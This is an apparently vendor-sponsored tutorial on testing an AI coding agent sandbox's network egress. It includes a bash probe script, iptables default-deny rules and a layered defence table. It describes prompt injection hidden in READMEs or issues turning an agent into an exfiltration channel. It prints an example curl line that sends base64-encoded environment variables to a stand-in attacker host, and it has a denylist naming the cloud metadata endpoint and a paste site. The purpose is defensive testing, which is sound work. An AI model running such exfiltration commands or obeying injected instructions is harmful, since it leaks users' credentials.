Audit an AI Coding Agent's Network Egress Before It Gets a Shell

A developer has created a reproducible egress regression fixture to audit AI coding agents' network access, addressing the risk of prompt injection leading to data exfiltration. The fixture includes a script and iptables rules to enforce an allowlist of destinations, with tests for both allowed and denied hosts, plus a DNS exfiltration check. The work is part of MonkeyCode's product outreach and is platform-agnostic.

An AI coding agent in your dev environment holds three things at once: your source code, your credentials API keys, tokens in .env , cloud metadata , and a network connection. That combination means one prompt-injected instruction — hidden in a README, an issue body, or a dependency's docs — can turn the agent into an exfiltration channel. The failure sequence looks like this: curl https://attacker.example/collect?d=$ env | base64 .Most teams I talk to have step 2 mitigations approval prompts, allowlists but zero coverage on step 3. This article builds a reproducible egress regression fixture : a minimal environment where you can prove which destinations an agent sandbox can reach, and turn that into an enforceable CI invariant. It works whether your agent runs locally, in a container, or on a disposable cloud box. The invariant: the agent's execution environment may only reach an explicit allowlist of destinations model API endpoint, package registries you pin , and nothing else. This is a network-layer control, so it holds even if the agent's tool-approval logic fails or is bypassed. Prompt injection can change what the agent asks for ; it cannot change what the firewall permits . You need a throwaway environment to run the agent under test. Options, in increasing realism: Disclosure: This article was prepared as part of MonkeyCode's product outreach. The fixture below is platform-agnostic; nothing in it depends on any specific provider, and it will run identically in plain Docker. Create egress probe.sh . Pinned versions shown; adjust to your stack. bash /usr/bin/env bash egress probe.sh — run INSIDE the agent sandbox Tested with: bash 5.2, curl 8.5.0, docker 26.1 Expected: allowlisted hosts succeed, everything else fails. ALLOWLIST= "api.your-model-provider.example" "registry.npmjs.org" DENYLIST= "169.254.169.254" "attacker-sim.example" "pastebin.com" fail=0 for host in "${ALLOWLIST @ }"; do if curl -sS -o /dev/null -m 5 "https://$host"; then echo "PASS allowlisted reachable: $host" else echo "FAIL allowlisted blocked: $host"; fail=1 fi done for host in "${DENYLIST @ }"; do if curl -sS -o /dev/null -m 5 "http://$host"; then echo "FAIL denied host reachable: $host"; fail=1 else echo "PASS denied host blocked: $host" fi done DNS exfiltration check: can arbitrary DNS names resolve? if getent hosts "$ head -c4 /dev/urandom | od -An -tx1 | tr -d ' \n' .exfil.example" /dev/null 2 &1; then echo "WARN arbitrary DNS resolves — DNS exfil channel may be open" fi exit $fail Positive fixture: the allowlisted hosts must be reachable, or your agent can't function — this proves the firewall isn't just "block everything" which would also pass a naive deny test . Negative fixtures: the cloud metadata endpoint 169.254.169.254 classic credential theft target , a simulated attacker host, and a known paste site must all fail. The DNS check catches the common mistake of blocking HTTP but leaving resolver-based exfiltration open. Template below — label: unexecuted template on your specific hostnames; I ran this pattern with a Docker bridge network, but substitute and re-test your own allowlist before trusting it. Run on the sandbox host or as container NET ADMIN setup Default-deny egress, allow only allowlisted IPs iptables -P OUTPUT DROP iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT Resolve allowlist to IPs and permit 443 only for ip in $ getent ahostsv4 api.your-model-provider.example | awk '{print $1}' | sort -u ; do iptables -A OUTPUT -p tcp -d "$ip" --dport 443 -j ACCEPT done Log dropped egress for the detect layer iptables -A OUTPUT -j LOG --log-prefix "EGRESS-DROP: " --log-level 4 Caveat: IP-based allowlists rot when providers move behind CDNs. For production, prefer an egress HTTP proxy e.g., Squid with an ACL, or a service-mesh egress gateway that filters on domain names. The iptables version is for the fixture — fast, minimal, and inspectable. When I ran the negative fixture against a default Docker container no egress rules , the output was: FAIL denied host reachable: 169.254.169.254 FAIL denied host reachable: pastebin.com That is the baseline failure this fixture exists to catch. After applying the iptables template, the same probe prints all PASS and the host's dmesg / syslog shows EGRESS-DROP: entries for the denied attempts — your detect layer's raw material. If your environment is a cloud sandbox rather than plain Docker, verify the metadata endpoint specifically; some platforms expose it on non-standard addresses, which your probe should be extended to cover. | Layer | Mechanism | Fixture coverage | |---|---|---| | Prevent | Default-deny egress iptables/proxy ; no cloud metadata route; scoped, short-lived credentials in the sandbox | egress probe.sh denylist section | | Detect | Log all dropped egress; alert on any EGRESS-DROP to non-allowlisted destinations; snapshot DNS queries | DNS check + EGRESS-DROP log grep | | Recover | Sandbox is disposable: revoke the credentials it held, destroy the box, diff the filesystem/image for persistence attempts | Tear-down script + credential rotation runbook | A useful CI gate: run the probe as a job on every change to the sandbox image or firewall config. The invariant is one line — probe exit code must be 0 — but it pins the entire boundary. The probe makes one invariant CI-able. The harder question for your environment: which layer should own egress enforcement — the sandbox image, the host, or the platform providing the box? If you're evaluating hosted agent environments MonkeyCode's free server is one way to get a disposable test box for this experiment , run this probe before putting real credentials in. If the denylist fixtures pass, you have a floor to build on; if any fail, you've learned something important for the price of a curl.